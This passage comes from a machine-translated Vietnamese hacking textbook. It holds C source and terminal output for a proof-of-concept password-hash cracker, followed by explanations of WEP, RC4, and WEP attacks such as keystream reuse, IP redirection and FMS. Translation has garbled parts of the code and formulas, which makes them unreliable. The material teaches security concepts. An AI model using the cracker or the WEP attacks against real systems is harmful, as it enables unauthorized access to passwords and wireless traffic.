((vector[(index/8)]&(1<<(index%8)))>>(index%8));
}
/* Đếm số cặp văn bản thuần túy trong vectơ được truyền */ int
count_vector_bits(char *vector) { int i,
count=0; for(i=0;
i < 9025; i++) count +=
get_vector_bit(vector, i); return count;
Mật mã học 429
Machine Translated by Google
}
/* In ra các cặp văn bản thuần túy mà mỗi bit ON trong vector liệt kê. */ void
print_vector(char *vector) { int i, a,
b, val; for(i=0; i
< 9025; i++) {
if(get_vector_bit(vector, i) == 1) { // Nếu bit bật, a = i / 95; // tính
toán b = i - (a * 95); // cặp văn bản thuần túy printf("%c%c
",a+32, b+32); // và in ra.
}
} printf("\n");
}
/* Nôn ra một thông điệp và thoát.
*/ void barf(char *message, char *extra)
{ printf(message, extra);
exit(1);
}
/* Bẻ khóa mật khẩu 4 ký tự bằng tệp 4char.ppm được tạo. */ int main(int argc,
char *argv[]) { char *pass, plain[5];
unsigned char
bin_vector1[WIDTH], bin_vector2[WIDTH], temp_vector[WIDTH]; char prob_vector1[2][9025];
char prob_vector2[2][9025]; int
a, b, i, j, len, pv1_len=0,
pv2_len=0; FILE *fd;
if(argc < 1)
barf("Cách sử dụng: %s <băm mật khẩu> (sẽ sử dụng tệp 4char.ppm)\n", argv[0]);
if(!(fd = fopen("4char.ppm", "r")))
barf("Lỗi nghiêm trọng: Không thể mở tệp PPM để đọc.\n", NULL);
pass = argv[1]; // Đối số đầu tiên là băm mật khẩu
printf("Đang lọc các byte văn bản thuần túy có thể có cho hai ký tự đầu tiên:\n");
fseek(fd,(DCM*0)+enum_hashtriplet(pass[2], pass[3], pass[4])*WIDTH, SEEK_SET);
fread(bin_vector1, WIDTH, 1, fd); // Đọc vectơ liên kết các byte 2-4 của hàm băm.
len = count_vector_bits(bin_vector1);
printf("chỉ có 1 vector trong số 4:\t%d cặp văn bản thuần túy, với độ bão hòa %0,2f%%\n", len, len*100,0/
9025,0);
fseek(fd,(DCM*1)+enum_hashtriplet(pass[4], pass[5], pass[6])*WIDTH, SEEK_SET);
fread(temp_vector, WIDTH, 1, fd); // Đọc vectơ liên kết các byte 4-6 của hàm băm. merge(bin_vector1,
temp_vector); // Hợp nhất nó với vectơ đầu tiên.
len = count_vector_bits(bin_vector1);
printf("vector 1 VÀ 2 đã hợp nhất:\t%d cặp văn bản thuần túy, với độ bão hòa %0,2f%%\n", len,
chiều dài*100.0/9025.0);
430 0x700
Machine Translated by Google
fseek(fd,(DCM*2)+enum_hashtriplet(pass[6], pass[7], pass[8])*WIDTH, SEEK_SET); fread(temp_vector, WIDTH,
1, fd); // Đọc vectơ liên kết các byte 6-8 của hàm băm. merge(bin_vector1, temp_vector); // Hợp nhất nó với
hai vectơ đầu tiên.
len = count_vector_bits(bin_vector1); printf("3
vector đầu tiên được hợp nhất:\t%d cặp văn bản thuần túy, với độ bão hòa %0,2f%%\n", len,
chiều dài*100.0/9025.0);
fseek(fd,(DCM*3)+enum_hashtriplet(pass[8], pass[9],pass[10])*WIDTH, SEEK_SET); fread(temp_vector, WIDTH,
1, fd); // Đọc vectơ liên kết 8-10 byte của hàm băm. merge(bin_vector1, temp_vector); // Hợp nhất nó với các
vectơ khác.
len = count_vector_bits(bin_vector1); printf("tất
cả 4 vector đã hợp nhất:\t%d cặp văn bản thuần túy, với độ bão hòa %0,2f%%\n", len,
chiều dài*100.0/9025.0);
printf("Các cặp văn bản thuần túy có thể có cho hai byte đầu tiên:\n");
print_vector(bin_vector1);
printf("\nĐang lọc các byte văn bản thuần túy có thể có cho hai ký tự cuối:\n");
fseek(fd,(DCM*4)+enum_hashtriplet(pass[2], pass[3], pass[4])*WIDTH, SEEK_SET); fread(bin_vector2, WIDTH,
1, fd); // Đọc vectơ liên kết các byte 2-4 của hàm băm.
len = count_vector_bits(bin_vector2); printf("chỉ
có 1 vector gồm 4:\t%d cặp văn bản thuần túy, với độ bão hòa %0,2f%%\n", len, len*100,0/ 9025,0);
fseek(fd,(DCM*5)+enum_hashtriplet(pass[4], pass[5], pass[6])*WIDTH, SEEK_SET); fread(temp_vector, WIDTH,
1, fd); // Đọc vectơ liên kết các byte 4-6 của hàm băm. merge(bin_vector2, temp_vector); // Hợp nhất nó với
vectơ đầu tiên.
len = count_vector_bits(bin_vector2);
printf("vector 1 VÀ 2 đã hợp nhất:\t%d cặp văn bản thuần túy, với độ bão hòa %0,2f%%\n", len,
chiều dài*100.0/9025.0);
fseek(fd,(DCM*6)+enum_hashtriplet(pass[6], pass[7], pass[8])*WIDTH, SEEK_SET); fread(temp_vector, WIDTH,
1, fd); // Đọc vectơ liên kết các byte 6-8 của hàm băm. merge(bin_vector2, temp_vector); // Hợp nhất nó với
hai vectơ đầu tiên.
len = count_vector_bits(bin_vector2); printf("3
vector đầu tiên được hợp nhất:\t%d cặp văn bản thuần túy, với độ bão hòa %0,2f%%\n", len,
chiều dài*100.0/9025.0);
fseek(fd,(DCM*7)+enum_hashtriplet(pass[8], pass[9],pass[10])*WIDTH, SEEK_SET); fread(temp_vector, WIDTH,
1, fd); // Đọc vectơ liên kết 8-10 byte của hàm băm. merge(bin_vector2, temp_vector); // Hợp nhất nó với các
vectơ khác.
len = count_vector_bits(bin_vector2); printf("tất
cả 4 vector đã hợp nhất:\t%d cặp văn bản thuần túy, với độ bão hòa %0,2f%%\n", len,
chiều dài*100.0/9025.0);
printf("Các cặp văn bản thuần túy có thể có cho hai byte cuối:\n");
print_vector(bin_vector2);
Mật mã học 431
Machine Translated by Google
printf("Xây dựng các vectơ xác suất...\n"); for(i=0;
i < 9025; i++) { // Tìm hai byte văn bản thuần túy đầu tiên có thể có.
if(get_vector_bit(bin_vector1, i)==1) {;
prob_vector1[0][pv1_len] = i / 95;
prob_vector1[1][pv1_len] = i - (prob_vector1[0][pv1_len] * 95); pv1_len+
+; } }
for(i=0; i < 9025; i++) { // Tìm hai byte văn bản thuần túy cuối cùng có thể.
nếu(get_vector_bit(bin_vector2, i))
{ prob_vector2[0][pv2_len] = i / 95;
prob_vector2[1][pv2_len] = i - (prob_vector2[0][pv2_len] * 95); pv2_len++; }
}
printf("Đang bẻ khóa %d khả năng còn lại..\n", pv1_len*pv2_len); for(i=0; i <
pv1_len; i++) {
đối với (j = 0; j < pv2_len; j++)
{ plain[0] = prob_vector1[0][i] + 32;
plain[1] = prob_vector1[1][i] + 32;
plain[2] = prob_vector2[0][j] + 32;
plain[3] = prob_vector2[1][j] + 32;
plain[4] = 0;
nếu (strcmp(crypt(plain, "je"), pass) == 0)
{ printf("Mật khẩu: %s\n", plain); i =
31337; j =
31337; } }
} if(i < 31337)
printf("Mật khẩu không được thêm ký tự 'je' hoặc không dài 4 ký tự.\n");
fclose(fd); }
Đoạn mã thứ hai, ppm_crack.c, có thể được sử dụng để bẻ khóa mật
khẩu khó chịu của h4R% chỉ trong vài giây:
reader@hacking:~/booksrc $ ./crypt_test h4R% je password
"h4R%" với salt "je" băm thành ==> jeMqqfIfPNNTE reader@hacking:~/
booksrc $ gcc -O3 -o ppm_crack ppm_crack.c -lcrypt reader@hacking:~/booksrc $ ./
ppm_crack jeMqqfIfPNNTE Lọc các byte văn bản thuần túy có
thể có cho hai ký tự đầu tiên: chỉ có 1 vectơ trong số 4: 3801 cặp văn bản
thuần túy, với độ bão hòa 42,12% vectơ 1 VÀ 2 được hợp nhất: 1666 cặp văn bản
thuần túy, với độ bão hòa 18,46% 3 vectơ đầu tiên được hợp nhất: 695 cặp văn bản
thuần túy, với độ bão hòa 7,70% tất cả 4 vectơ được hợp nhất: 287 cặp văn bản
thuần túy, với độ bão hòa 3,18% Các cặp văn bản thuần túy có thể có cho hai
byte đầu tiên: 4 9 N !& !M !Q "/ "5 "W #K #d #g #p $K $O
$s %) %Z %\ %r &( &T '- '0 '7 'D 'F ( (v (| )+ ). )E )W *c *p *q *t *x +C -5 -A -[ -a .
% .D .S .f /t 02 07 0? 0e 0{ 0| 1A 1U 1V 1Z 1d 2V 2e 2q 3P 3a 3k 3m 4E 4M 4P 4X 4f 6 6, 6C
7: 7@ 7S 7z 8F 8H 9R 9U 9_ 9~ :- :q :s ;G ;J ;Z ;k <! <8 =! =3 =H =L =N =Y >V >X ?1 @#
432 0x700
Machine Translated by Google
@W @v @| AO B/ B0 BO Bz C( D8 D> E8 EZ F@ G& G? Gj Gy H4 I@ J JN JT JU Jh Jq Ks Ku M) M{ N, N:
NC NF NQ Ny O/ O[ P9 Pc Q ! QA Qi Qv RA Sg Sv T0 Te U& U> UO VT V[ V] Vc Vg Vi W: WG X" X6 Hz
X` Xp YT YV Y^ Yl Yy Y{ Za [$ [* [9 [m [z \ " \
+ \C \O \w ]( ]: ]@ ]w _K _j `q a. aN a^ ae au b: bG bP cE cP dU d] e! fI fv g! gG h+ h4 hc iI
iT iV iZ in k. kp l5 l` lm lq m, m= mE n0 nD nQ n~ o# o: o^ p0 p1 pC pc q* q0 qQ q{ rA rY s"
sD sz tK tw u- v$ v. v3 v ; v_ vi vo wP wt x" x& x+ x1 xQ xX xi yN yo zP zU z[ z^ zf zi zr zt
{- {B {a |s }) }+ }? }y ~L ~m
Lọc các byte văn bản thuần túy có thể có cho hai ký tự cuối cùng:
chỉ có 1 vectơ gồm 4: 3821 cặp văn bản thuần túy, với độ bão hòa 42,34%
vectơ 1 VÀ 2 được hợp nhất: 1677 cặp văn bản thuần túy, với độ bão hòa 18,58%
3 vectơ đầu tiên được hợp nhất: 713 cặp văn bản thuần túy, với độ bão hòa 7,90%
tất cả 4 vectơ đã được hợp nhất: 297 cặp văn bản thuần túy, với độ bão hòa 3,29%
Các cặp văn bản thuần túy có thể có cho hai byte cuối cùng:
! & != !H !I !K !P !X !o !~ "r "{ "} #% #0 $5 $] %K %M %T &" &% &( &0 &4 &I &q &} 'B 'Q 'd )j )w
*I *] *e *j *k *o *w *| +B +W ,' ,J ,V -z . .$ .T /' /_ 0Y 0i 0s 1! 1= 1l 1v 2- 2/ 2g 2k 3n 4K
4Y 4\ 4y 5- 5M 5O 5} 6+ 62 6E 6j 7* 74 8E 9Q 9\ 9a 9b :8 :; :A :H :S :w ;" ;& ;L <L <m <r <u
=, =4 =v >v >x ?& ?` ?j ?w @0 A* BB@ BT C8 CF CJ CN C} D+ D? DK Dc EM EQ FZ GO GR H) Hj I: I>
J( J+ J3 J6 Jm K# K) K@ L, L1 LT N* Tây Bắc N` O= O[ Ot P: P\ Ps Q- Qa R% RJ RS S3 Sa T!
T$ T@ TR T_ Th U" U1 V* V{ W3 Wy Wz X% X* Y* Y? Yw Z7 Za Zh Zi Zm [F \( \3 \5 \
_ \a \b \| ]$ ]. ]2 ]? ]d ^[ ^~ `1 `F `f `y a8 a= aI aK az b, b- bS bz c( cg dB
e, eF eJ eK eu fT fW fo g( g> gW g\ h$ h9 h: h@ hk i? jN ji jn k= kj l7 lo m< m= mT me m| m}
n% n? n~ o oF oG oM p" p9 p\ q} r6 r= rB sA sN s{ s~ tX tp u u2 uQ uU uk v# vG vV vW vl w*
w> wD wv x2 xA y: y= y? yM yU yX zK zv {# {) {= {O {m |I |Z }. }; }d ~+ ~C ~a Xây dựng các
vectơ xác suất...
Đang giải quyết 85239 khả năng còn lại.
Mật khẩu: h4R%
người đọc@hacking:~/booksrc $
Các chương trình này là các bản hack chứng minh khái niệm, tận dụng sự khuếch tán bit do các hàm
băm cung cấp. Có các cuộc tấn công đánh đổi thời gian-không gian khác và một số đã trở nên khá phổ biến.
RainbowCrack là một công cụ phổ biến, hỗ trợ nhiều thuật toán. Nếu bạn muốn tìm hiểu thêm, hãy tham khảo
Internet.
0x770 Mã hóa không dây 802.11b
Bảo mật không dây 802.11b là một vấn đề lớn, chủ yếu là do không có nó. Điểm yếu trong Wired Equivalent
Privacy (WEP), phương pháp mã hóa được sử dụng cho không dây, góp phần lớn vào tình trạng mất an ninh
chung. Có những chi tiết khác, đôi khi bị bỏ qua trong quá trình triển khai không dây, cũng có thể dẫn
đến các lỗ hổng lớn.
Thực tế là mạng không dây tồn tại ở lớp 2 là một trong những chi tiết này.
Nếu mạng không dây không được tắt VLAN hoặc tường lửa, kẻ tấn công liên kết với điểm truy cập không dây
có thể chuyển hướng tất cả lưu lượng mạng có dây ra ngoài qua mạng không dây thông qua chuyển hướng ARP.
Điều này, cùng với xu hướng kết nối điểm truy cập không dây với mạng riêng nội bộ, có thể dẫn đến một
số lỗ hổng nghiêm trọng.
Mật mã học 433
Machine Translated by Google
Tất nhiên, nếu WEP được bật, chỉ những máy khách có khóa WEP phù hợp
sẽ được phép liên kết với điểm truy cập. Nếu WEP an toàn, sẽ không có bất kỳ mối
lo ngại nào về việc kẻ tấn công gian lận liên kết và gây ra sự tàn phá. Điều này đặt
ra câu hỏi, "WEP an toàn đến mức nào?"
0x771 Quyền riêng tư tương đương có dây
WEP được cho là phương pháp mã hóa cung cấp bảo mật tương đương với điểm truy cập có
dây. Ban đầu, nó được thiết kế với khóa 40 bit; sau đó, WEP2 xuất hiện để tăng kích
thước khóa lên 104 bit. Toàn bộ mã hóa được thực hiện trên cơ sở mỗi gói, vì vậy mỗi
gói về cơ bản là một tin nhắn văn bản thuần túy riêng biệt để gửi. Gói sẽ được gọi là
M.
Đầu tiên, một tổng kiểm tra của tin nhắn M được tính toán, do đó tính toàn vẹn
của tin nhắn có thể được kiểm tra sau. Điều này được thực hiện bằng cách sử dụng hàm
tổng kiểm tra dư thừa tuần hoàn 32 bit có tên là CRC32. Tổng kiểm tra này sẽ được
gọi là CS, do đó CS = CRC32(M). Giá trị này được thêm vào cuối tin nhắn, tạo nên tin
nhắn văn bản thuần túy P:
Tin nhắn văn bản thuần túy P
Tin nhắn M
CRC(M) CS
Bây giờ, tin nhắn văn bản thuần túy cần được mã hóa. Điều này được thực hiện bằng cách sử dụng
RC4, là một mã hóa luồng. Mã hóa này, được khởi tạo bằng giá trị hạt giống, có
thể tạo ra một luồng khóa, chỉ là một luồng byte giả ngẫu nhiên dài tùy ý. WEP sử dụng
một vectơ khởi tạo (IV) cho giá trị hạt giống.
IV bao gồm 24 bit được tạo ra cho mỗi gói. Một số triển khai WEP cũ hơn chỉ sử
dụng các giá trị tuần tự cho IV, trong khi những triển khai khác sử dụng một số dạng
giả ngẫu nhiên.
Bất kể 24 bit IV được chọn như thế nào, chúng đều được thêm vào khóa WEP. (24 bit
IV này được bao gồm trong kích thước khóa WEP trong một chút chiêu trò tiếp thị khéo
léo; khi một nhà cung cấp nói về khóa WEP 64 bit hoặc 128 bit, thì các khóa thực tế
chỉ là 40 bit và 104 bit tương ứng, kết hợp với 24 bit IV.) IV và khóa WEP cùng nhau
tạo nên giá trị hạt giống, được gọi là S.
Giá trị hạt giống S
24-bit IV
Khóa WEP 40 bit hoặc 104 bit
Sau đó, giá trị hạt giống S được đưa vào RC4 để tạo ra luồng khóa.
Luồng khóa này được XOR với thông điệp văn bản thuần túy P để tạo ra văn bản mã
hóa C. IV được thêm vào văn bản mã hóa và toàn bộ thông điệp được đóng gói bằng một
tiêu đề khác và gửi qua liên kết vô tuyến.
434 0x700
Machine Translated by Google
Tin nhắn văn bản thuần túy P (M với CS 32 bit)
XOR
Dòng khóa được tạo ra bởi RC4(seed)
bằng nhau
24-bit IV
Bản mã C
Khi người nhận nhận được một gói được mã hóa WEP, quy trình chỉ đơn giản là đảo ngược. Người nhận
kéo IV từ tin nhắn và sau đó nối IV với khóa WEP của riêng mình để tạo ra giá trị hạt giống là S. Nếu
người gửi và người nhận đều có cùng khóa WEP, các giá trị hạt giống sẽ giống nhau. Hạt giống này được
đưa vào RC4 một lần nữa để tạo ra cùng một luồng khóa, được XOR với phần còn lại của tin nhắn được mã
hóa. Điều này sẽ tạo ra tin nhắn văn bản gốc, bao gồm tin nhắn gói M được nối với tổng kiểm tra tính
toàn vẹn CS. Sau đó, người nhận sử dụng cùng một hàm CRC32 để tính toán lại tổng kiểm tra cho M và kiểm
tra xem giá trị đã tính toán có khớp với giá trị đã nhận của CS hay không. Nếu tổng kiểm tra khớp, gói
tin sẽ được chuyển tiếp. Nếu không, có quá nhiều lỗi truyền hoặc khóa WEP không khớp và gói tin sẽ bị
loại bỏ.
Về cơ bản thì đó chính là WEP.
0x772 Mã hóa luồng RC4
RC4 là một thuật toán đơn giản đến ngạc nhiên. Nó bao gồm hai thuật toán:
Thuật toán lập lịch khóa (KSA) và Thuật toán tạo ngẫu nhiên giả (PRGA). Cả
hai thuật toán này đều sử dụng hộp S 8x8, chỉ là một mảng gồm 256 số vừa
duy nhất vừa có giá trị trong phạm vi từ 0 đến 255. Nói một cách đơn giản,
tất cả các số từ 0 đến 255 đều tồn tại trong mảng, nhưng chúng chỉ được
trộn lẫn theo những cách khác nhau. KSA thực hiện việc xáo trộn ban đầu của
hộp S, dựa trên giá trị hạt giống được đưa vào và hạt giống có thể dài tới 256 bit.
Đầu tiên, mảng S-box được điền các giá trị tuần tự từ 0 đến 255. Mảng
này sẽ được đặt tên là S. Sau đó, một mảng 256 byte khác được điền giá trị
hạt giống, lặp lại nếu cần cho đến khi toàn bộ mảng được điền. Mảng này sẽ
được đặt tên là K. Sau đó, mảng S được xáo trộn bằng mã giả sau.
j = 0;
đối với i = 0 đến 255
{
j = (j + S[i] + K[i]) mod 256;
hoán đổi S[i] và S[j];
}
Sau khi hoàn tất, hộp S sẽ được trộn lẫn dựa trên giá trị hạt giống.
Đó là thuật toán lập lịch chính. Khá đơn giản.
Mật mã học 435
Machine Translated by Google
Bây giờ khi cần dữ liệu keystream, Thuật toán tạo ngẫu nhiên giả (PRGA)
được sử dụng. Thuật toán này có hai bộ đếm, i và j, đều được khởi tạo ở 0 để bắt
đầu. Sau đó, đối với mỗi byte dữ liệu keystream, mã giả sau được sử dụng.
tôi = (i + 1) mod 256;
j = (j + S[i]) mod 256;
hoán đổi S[i] và S[j];
t = (S[i] + S[j]) mod 256;
Đưa ra giá trị của S[t];
Byte đầu ra của S[t] là byte đầu tiên của luồng khóa. Thuật toán này được lặp
lại cho các byte luồng khóa bổ sung.
RC4 đủ đơn giản để có thể dễ dàng ghi nhớ và triển khai ngay lập tức, và khá
an toàn nếu sử dụng đúng cách. Tuy nhiên, có một vài vấn đề với cách RC4 được sử
dụng cho WEP.
0x780 Tấn công WEP
Có một số vấn đề với tính bảo mật của WEP. Công bằng mà nói, nó không bao giờ
có ý định là một giao thức mật mã mạnh, mà là một cách để cung cấp sự tương đương
có dây, như được ám chỉ bởi từ viết tắt. Bên cạnh những điểm yếu về bảo mật liên
quan đến liên kết và danh tính, có một số vấn đề với chính giao thức mật mã. Một
số vấn đề này bắt nguồn từ việc sử dụng CRC32 làm hàm kiểm tra tổng kiểm tra tính
toàn vẹn của tin nhắn và các vấn đề khác bắt nguồn từ cách sử dụng IV.
0x781 Tấn công Brute-Force ngoại tuyến
Brute forcing luôn là một cuộc tấn công có thể xảy ra đối với bất kỳ hệ thống mật mã an toàn về mặt
tính toán nào. Câu hỏi duy nhất còn lại là liệu đó có phải là một cuộc tấn công thực tế hay không. Với
WEP, phương pháp thực tế của brute force ngoại tuyến rất đơn giản: Chụp một vài gói tin, sau đó cố
gắng giải mã các gói tin bằng mọi khóa có thể. Tiếp theo, tính toán lại tổng kiểm tra cho gói tin và so
sánh với tổng kiểm tra ban đầu. Nếu chúng khớp nhau, thì đó rất có thể là khóa. Thông thường, điều này
cần được thực hiện với ít nhất hai gói tin, vì có khả năng một gói tin duy nhất có thể được giải mã
bằng khóa không hợp lệ nhưng tổng kiểm tra vẫn sẽ hợp lệ.
Tuy nhiên, với giả định 10.000 lần bẻ khóa mỗi giây, việc brute force thông qua không gian khóa 40
bit sẽ mất hơn ba năm. Thực tế, bộ xử lý hiện đại có thể đạt được hơn 10.000 lần bẻ khóa mỗi giây, nhưng
ngay cả ở mức 200.000 lần bẻ khóa mỗi giây, điều này cũng sẽ mất vài tháng. Tùy thuộc vào nguồn lực
và sự tận tâm của kẻ tấn công, loại tấn công này có thể khả thi hoặc không.
Tim Newsham đã cung cấp một phương pháp bẻ khóa hiệu quả để tấn công
điểm yếu trong thuật toán tạo khóa dựa trên mật khẩu được sử dụng bởi hầu hết
các thẻ và điểm truy cập 40 bit (được tiếp thị là 64 bit). Phương pháp của ông
thực sự làm giảm không gian khóa 40 bit xuống còn 21 bit, có thể bị bẻ khóa
436 0x700
Machine Translated by Google
trong vài phút với giả định 10.000 lần nứt mỗi giây (và trong vài giây trên bộ xử lý
hiện đại). Bạn có thể tìm thêm thông tin về phương pháp của ông tại http://www.lava.net/
~newsham/wlan.
Đối với mạng WEP 104 bit (được bán trên thị trường là 128 bit), tấn công bằng phương pháp brute-force là
không khả thi.
0x782 Tái sử dụng luồng khóa
Một vấn đề tiềm ẩn khác với WEP nằm ở việc tái sử dụng luồng khóa. Nếu hai văn bản
thuần túy (P ) được XOR với cùng luồng khóa để tạo ra hai văn bản mã hóa riêng biệt (C),
thì việc XOR các văn bản mã hóa đó với nhau sẽ hủy luồng khóa, dẫn đến hai văn bản
thuần túy được XOR với nhau.
C1 = P1
RC4(hạt giống)
C2 = P2
RC4(hạt giống)
C1
C2 = [P1
RC4(hạt giống)]
[P2
RC4(hạt giống)] = P1
P2
Từ đây, nếu một trong hai bản rõ được biết, bản còn lại có thể dễ dàng được phục hồi.
Ngoài ra, vì các bản rõ trong trường hợp này là các gói Internet có cấu trúc đã biết và khá
dễ đoán, nên có thể sử dụng nhiều kỹ thuật khác nhau để phục hồi cả hai bản rõ gốc.
IV được thiết kế để ngăn chặn các loại tấn công này; nếu không có nó, mọi gói tin
sẽ được mã hóa bằng cùng một luồng khóa. Nếu một IV khác nhau được sử dụng cho mỗi gói tin,
luồng khóa cho các gói tin cũng sẽ khác nhau. Tuy nhiên, nếu cùng một IV được sử dụng lại,
cả hai gói tin sẽ được mã hóa bằng cùng một luồng khóa.
Đây là một tình trạng dễ phát hiện, vì các IV được bao gồm trong văn bản thuần túy trong các
gói được mã hóa. Hơn nữa, các IV được sử dụng cho WEP chỉ dài 24 bit, điều này gần như đảm
bảo rằng các IV sẽ được sử dụng lại. Giả sử rằng các IV được chọn ngẫu nhiên, về mặt
thống kê, sẽ có trường hợp tái sử dụng luồng khóa sau chỉ 5.000 gói.
Con số này có vẻ nhỏ một cách đáng ngạc nhiên do một hiện tượng xác suất phản trực
giác được gọi là nghịch lý sinh nhật. Nghịch lý này nói rằng nếu 23 người ở cùng một phòng,
thì hai người trong số họ phải có chung ngày sinh nhật.
Với 23 người, có (23 · 22) / 2, hay 253 cặp có thể. Mỗi cặp có xác suất thành công là 1/365,
hay khoảng 0,27 phần trăm, tương ứng với xác suất thất bại là 1
(1 / 365), hay khoảng
99,726 phần trăm. Bằng cách nâng xác suất này lên lũy thừa của 253, xác suất thất bại chung
được hiển thị là khoảng 49,95 phần trăm, nghĩa là xác suất thành công chỉ hơn 50 phần trăm
một chút.
Điều này hoạt động theo cùng một cách với va chạm IV. Với 5.000 gói, có (5000 · 4999) /
2, hoặc 12.497.500 cặp có thể xảy ra. Mỗi cặp có xác suất lỗi là 1
(1 / 224). Khi nâng
lên lũy thừa của số cặp có thể xảy ra, xác suất lỗi chung là khoảng 47,5 phần trăm, nghĩa
là có 52,5 phần trăm khả năng xảy ra va chạm IV với 5.000 gói:
–
1
1
–
1
-----
5
4 999
,000
,
------------------2
= 52,5Ψ
224
Mật mã học 437
Machine Translated by Google
Sau khi phát hiện ra va chạm IV, một số phỏng đoán có căn cứ về cấu trúc của văn bản gốc có
thể được sử dụng để tiết lộ văn bản gốc bằng cách XOR hai văn bản mã hóa với nhau. Ngoài ra, nếu một
trong hai văn bản gốc được biết đến, văn bản gốc còn lại có thể được khôi phục bằng một phép XOR đơn
giản. Một phương pháp để có được văn bản gốc đã biết có thể là thông qua email spam, trong đó kẻ tấn
công gửi thư rác và nạn nhân kiểm tra thư qua kết nối không dây được mã hóa.
0x783 Bảng từ điển giải mã dựa trên IV
Sau khi khôi phục được văn bản thuần túy cho một thông điệp bị chặn, luồng khóa cho IV đó cũng sẽ được
biết. Điều này có nghĩa là luồng khóa này có thể được sử dụng để giải mã bất kỳ gói nào khác có
cùng IV, miễn là nó không dài hơn luồng khóa đã khôi phục. Theo thời gian, có thể tạo một bảng luồng
khóa được lập chỉ mục theo mọi IV có thể. Vì chỉ có 224 IV có thể, nếu 1.500 byte luồng khóa được lưu
cho mỗi IV, thì bảng sẽ chỉ cần khoảng 24 GB dung lượng lưu trữ. Khi một bảng như thế này được tạo ra,
tất cả các gói được mã hóa tiếp theo đều có thể dễ dàng được giải mã.
Thực tế, phương pháp tấn công này sẽ rất tốn thời gian và tẻ nhạt. Đây là một ý tưởng thú vị,
nhưng có nhiều cách dễ hơn nhiều để đánh bại WEP.
0x784 Chuyển hướng IP
Một cách khác để giải mã các gói tin được mã hóa là đánh lừa điểm truy cập thực hiện tất cả công
việc. Thông thường, các điểm truy cập không dây có một số dạng kết nối Internet và nếu đúng như vậy, thì
có thể xảy ra tấn công chuyển hướng IP. Đầu tiên, một gói tin được mã hóa bị bắt và địa chỉ đích được
thay đổi thành địa chỉ IP do kẻ tấn công kiểm soát mà không giải mã gói tin. Sau đó, gói tin đã sửa
đổi được gửi trở lại điểm truy cập không dây, điểm này sẽ giải mã gói tin và gửi thẳng đến địa chỉ
IP của kẻ tấn công.
Việc sửa đổi gói tin có thể thực hiện được do tổng kiểm tra CRC32 là một hàm tuyến tính, không
có khóa. Điều này có nghĩa là gói tin có thể được sửa đổi một cách chiến lược và tổng kiểm tra vẫn sẽ
giống nhau.
Cuộc tấn công này cũng giả định rằng địa chỉ IP nguồn và đích
được biết đến. Thông tin này đủ dễ để tìm ra, chỉ dựa trên các lược đồ địa chỉ IP mạng nội bộ tiêu
chuẩn. Ngoài ra, một số trường hợp sử dụng lại luồng khóa do xung đột IV có thể được sử dụng để xác
định địa chỉ.
Khi địa chỉ IP đích đã được biết, giá trị này có thể được XOR với địa chỉ IP mong muốn và toàn bộ
điều này có thể được XOR vào đúng vị trí trong gói được mã hóa. Việc XOR địa chỉ IP đích sẽ bị hủy bỏ,
để lại địa chỉ IP mong muốn được XOR với luồng khóa. Sau đó, để đảm bảo rằng tổng kiểm tra vẫn giữ
nguyên, địa chỉ IP nguồn phải được sửa đổi một cách chiến lược.
Ví dụ, giả sử địa chỉ nguồn là 192.168.2.57 và địa chỉ đích là 192.168.2.1. Kẻ tấn công
kiểm soát địa chỉ 123.45.67.89 và muốn chuyển hướng lưu lượng đến đó. Các địa chỉ IP này
438 0x700
Machine Translated by Google
tồn tại trong gói dưới dạng nhị phân của các từ 16 bit bậc cao và bậc thấp.
Việc chuyển đổi khá đơn giản:
Nguồn IP = 192.168.2.57
S = 192 · 256 + 168 = 50344
S = 2 · 256 + 57 = 569
Địa chỉ IP cuối cùng = 192.168.2.1
Đh = 192 · 256 + 168 = 50344
ĐL = 2 · 256 + 1 = 513
IP mới = 123.45.67.89
NH = 123 · 256 + 45 = 31533
Số NL = 67 · 256 + 89 = 17241
Tổng kiểm tra sẽ được thay đổi bởi NH + NL
DH
DL, vì vậy giá trị này phải
được trừ đi từ một nơi khác trong gói tin. Vì địa chỉ nguồn cũng được biết đến và không
quá quan trọng, nên từ 16 bit bậc thấp của địa chỉ IP đó là một mục tiêu tốt:
S'L = SL
(NH + NL
DH
S'L = 569
(31533 + 17241
DL)
50344
513)
S'L = 2652
Do đó, địa chỉ IP nguồn mới phải là 192.168.10.92. Địa chỉ IP nguồn có thể được sửa đổi
trong gói được mã hóa bằng cùng thủ thuật XORing, sau đó các tổng kiểm tra sẽ khớp. Khi gói được
gửi đến điểm truy cập không dây, gói sẽ được giải mã và gửi đến 123.45.67.89, nơi kẻ tấn công
có thể lấy lại.
Nếu kẻ tấn công có khả năng theo dõi các gói tin trên toàn bộ mạng loại B, thì
địa chỉ nguồn thậm chí không cần phải sửa đổi.
Giả sử kẻ tấn công kiểm soát toàn bộ phạm vi IP 123.45.XX, từ 16 bit bậc thấp của
địa chỉ IP có thể được chọn một cách chiến lược để không làm nhiễu tổng kiểm tra. Nếu
NL = DH + DL
NH, tổng kiểm tra sẽ không bị thay đổi.
Sau đây là một ví dụ:
NL = DH + DL
NH
Số nguyên dương = 50,344 + 513
31,533
Số dư = 82390
Địa chỉ IP đích mới phải là 123.45.75.124.
0x785 Fluhrer, Mantin và Shamir tấn công
Cuộc tấn công Fluhrer, Mantin và Shamir (FMS) là cuộc tấn công được sử dụng phổ
biến nhất chống lại WEP, được phổ biến bởi các công cụ như AirSnort. Cuộc tấn công này
Mật mã học 439
Machine Translated by Google
thực sự khá tuyệt vời. Nó tận dụng điểm yếu trong thuật toán lập lịch khóa
của RC4 và việc sử dụng IV.
Có các giá trị IV yếu làm rò rỉ thông tin về khóa bí mật trong byte đầu tiên
của luồng khóa. Vì cùng một khóa được sử dụng nhiều lần với các IV khác nhau, nếu đủ
các gói tin có IV yếu được thu thập và byte đầu tiên của luồng khóa được biết đến,
thì có thể xác định được khóa. May mắn thay, byte đầu tiên của gói tin 802.11b là
tiêu đề snap, gần như luôn luôn là 0xAA. Điều này có nghĩa là byte đầu tiên của
luồng khóa có thể dễ dàng lấy được bằng cách XOR byte được mã hóa đầu tiên với 0xAA.
Tiếp theo, cần phải định vị các IV yếu. IV cho WEP là 24 bit, được dịch thành ba
byte. IV yếu có dạng (A + 3, N
1, X), trong đó A là byte của khóa cần tấn công, N là
256 (vì RC4 hoạt động theo modulo 256) và X có thể là bất kỳ giá trị nào. Vì vậy, nếu
byte thứ không của luồng khóa đang bị tấn công, sẽ có 256 IV yếu có dạng (3, 255,
X), trong đó X
nằm trong khoảng từ 0 đến 255. Các byte của luồng khóa phải được tấn công theo thứ tự,
do đó byte đầu tiên không thể bị tấn công cho đến khi biết được byte thứ không.
